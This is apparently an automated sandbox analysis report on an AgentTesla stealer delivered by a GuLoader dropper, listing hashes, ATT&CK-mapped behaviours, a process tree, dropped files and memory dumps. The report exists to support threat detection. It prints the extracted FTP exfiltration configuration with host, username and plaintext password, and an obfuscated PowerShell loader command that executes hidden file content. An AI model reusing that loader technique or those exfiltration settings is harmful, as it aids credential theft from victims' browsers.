agenttesla | 3ed15d1915a0408416f2db5a1c89a8b628b73428f3f768ae5ded17783f88ea27

General

Target

Bloodlike.exe
Size

750KB
MD5

3471130ee839f6cba7abaf6111fa2d95
SHA1

7a2222ba4034d054e6f976835e4139286f1d3d00
SHA256

2147f70eb8ebf3d80eef30e2e6e9d75758294682d052a954af53510087bfa512
SHA512

d6a93951f206174472377faf0b20df7fd5638389f4489b310d2679b91b3e6dba36a98dccd6f000adfbe3546238d90cb6813410b1dc3b1b355ee934dac79b7d02
SSDEEP

12288:lXZEFyI2w//6CDquAh67/bAAkh9B9LbtS+OWbhxIK0Hc0CeD43JZHVDwrG8qjWK3:lXeFbRqkGhg/sJTthtOWb4riRVmqjWJ6

Score

10^/10

agenttesla guloader credential_access discovery downloader execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://mail.hearing-vision.com
Port:
21
Username:
[email protected]
Password:
LILKOOLL14!

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Loads dropped DLL 1 IoCs

pid	Process
5056	Bloodlike.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\androsporangium.Pan	Bloodlike.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4692	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
732	powershell.exe
4692	wabmig.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 732 set thread context of 4692	732	powershell.exe	91

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\evenworthy.ini	Bloodlike.exe
File opened for modification	C:\Windows\resources\dlgsmaalets.him	Bloodlike.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
732	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bloodlike.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
732	powershell.exe
732	powershell.exe
732	powershell.exe
732	powershell.exe
732	powershell.exe
732	powershell.exe
732	powershell.exe
732	powershell.exe
732	powershell.exe
4692	wabmig.exe
4692	wabmig.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
732	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	732	powershell.exe
Token: SeDebugPrivilege	4692	wabmig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5056 wrote to memory of 732	5056	Bloodlike.exe	82
PID 5056 wrote to memory of 732	5056	Bloodlike.exe	82
PID 5056 wrote to memory of 732	5056	Bloodlike.exe	82
PID 732 wrote to memory of 4692	732	powershell.exe	91
PID 732 wrote to memory of 4692	732	powershell.exe	91
PID 732 wrote to memory of 4692	732	powershell.exe	91
PID 732 wrote to memory of 4692	732	powershell.exe	91
PID 732 wrote to memory of 4692	732	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\Bloodlike.exe
"C:\Users\Admin\AppData\Local\Temp\Bloodlike.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5056
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Slutnoters=Get-Content 'C:\Users\Admin\AppData\Local\Thundershowers\Immortalizes65\Hedgehopper\Sylvette.Far';$Gibbus126=$Slutnoters.SubString(55230,3);.$Gibbus126($Slutnoters)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:732
- - C:\Program Files (x86)\windows mail\wabmig.exe
    "C:\Program Files (x86)\windows mail\wabmig.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0y0cxym1.wvz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsf93E4.tmp\nsExec.dll

Filesize
7KB

MD5
11092c1d3fbb449a60695c44f9f3d183

SHA1
b89d614755f2e943df4d510d87a7fc1a3bcf5a33

SHA256
2cd3a2d4053954db1196e2526545c36dfc138c6de9b81f6264632f3132843c77

SHA512
c182e0a1f0044b67b4b9fb66cef9c4955629f6811d98bbffa99225b03c43c33b1e85cacabb39f2c45ead81cd85e98b201d5f9da4ee0038423b1ad947270c134a

Download Submit
C:\Users\Admin\AppData\Local\Thundershowers\Immortalizes65\Hedgehopper\Enerets.Kia

Filesize
343KB

MD5
d80ac4e6087f5cd78fd62ef4711a0ef1

SHA1
dfd8dfd8e653a57e27cc6a91d53fc67ef21e1cbb

SHA256
6cbd0ef064238112f95d026016ffb65acb8193b8f53e2c772a7df23e01b9ec58

SHA512
c71ab3a8856e6f3190d9fd8ff01c4802bb0d99633cdffb8e25e2070a314ad4f4f37b97d76cb1fa561df4689955a25683e9f096c4a733158f45110290fdc6571e

Download Submit
C:\Users\Admin\AppData\Local\Thundershowers\Immortalizes65\Hedgehopper\Sylvette.Far

Filesize
54KB

MD5
709c3273ccbcb96a895a16c022896d05

SHA1
2a3358ebc52ec8aad2c4c4cbf07ed18fa04ccfbd

SHA256
98c9db4a96c358a5c26b05fff3757b33a090f5e11c765aabdbf1308dfc2806fc

SHA512
a01915cb73f1afc1c249b1d9e6a48007790fad4c890a23057a626f19b4e3049245a218044f30828ba007dadf670eb28f2c0eb9c3d989cd78c31b445394e1f036

Download Submit
memory/732-41-0x00000000089F0000-0x000000000906A000-memory.dmp

Filesize
6.5MB

Download
memory/732-45-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/732-21-0x00000000055E0000-0x0000000005602000-memory.dmp

Filesize
136KB

Download
memory/732-23-0x0000000005E70000-0x0000000005ED6000-memory.dmp

Filesize
408KB

Download
memory/732-22-0x0000000005E00000-0x0000000005E66000-memory.dmp

Filesize
408KB

Download
memory/732-19-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/732-33-0x0000000005EE0000-0x0000000006234000-memory.dmp

Filesize
3.3MB

Download
memory/732-34-0x00000000064C0000-0x00000000064DE000-memory.dmp

Filesize
120KB

Download
memory/732-35-0x0000000006560000-0x00000000065AC000-memory.dmp

Filesize
304KB

Download
memory/732-36-0x0000000007770000-0x0000000007806000-memory.dmp

Filesize
600KB

Download
memory/732-37-0x00000000069C0000-0x00000000069DA000-memory.dmp

Filesize
104KB

Download
memory/732-38-0x0000000006A40000-0x0000000006A62000-memory.dmp

Filesize
136KB

Download
memory/732-39-0x0000000007DC0000-0x0000000008364000-memory.dmp

Filesize
5.6MB

Download
memory/732-18-0x0000000005760000-0x0000000005D88000-memory.dmp

Filesize
6.2MB

Download
memory/732-17-0x0000000002B60000-0x0000000002B96000-memory.dmp

Filesize
216KB

Download
memory/732-43-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/732-44-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/732-20-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/732-16-0x000000007312E000-0x000000007312F000-memory.dmp

Filesize
4KB

Download
memory/732-47-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/732-48-0x000000007312E000-0x000000007312F000-memory.dmp

Filesize
4KB

Download
memory/732-49-0x0000000009070000-0x000000000D3A0000-memory.dmp

Filesize
67.2MB

Download
memory/732-50-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/732-51-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/732-52-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/732-53-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/732-57-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/4692-56-0x0000000001030000-0x0000000002284000-memory.dmp

Filesize
18.3MB

Download
memory/4692-58-0x0000000001030000-0x0000000001072000-memory.dmp

Filesize
264KB

Download
memory/4692-54-0x0000000002290000-0x00000000065C0000-memory.dmp

Filesize
67.2MB

Download
memory/4692-60-0x0000000024F10000-0x0000000024F60000-memory.dmp

Filesize
320KB

Download
memory/4692-61-0x0000000025000000-0x0000000025092000-memory.dmp

Filesize
584KB

Download
memory/4692-62-0x0000000024EE0000-0x0000000024EEA000-memory.dmp

Filesize
40KB

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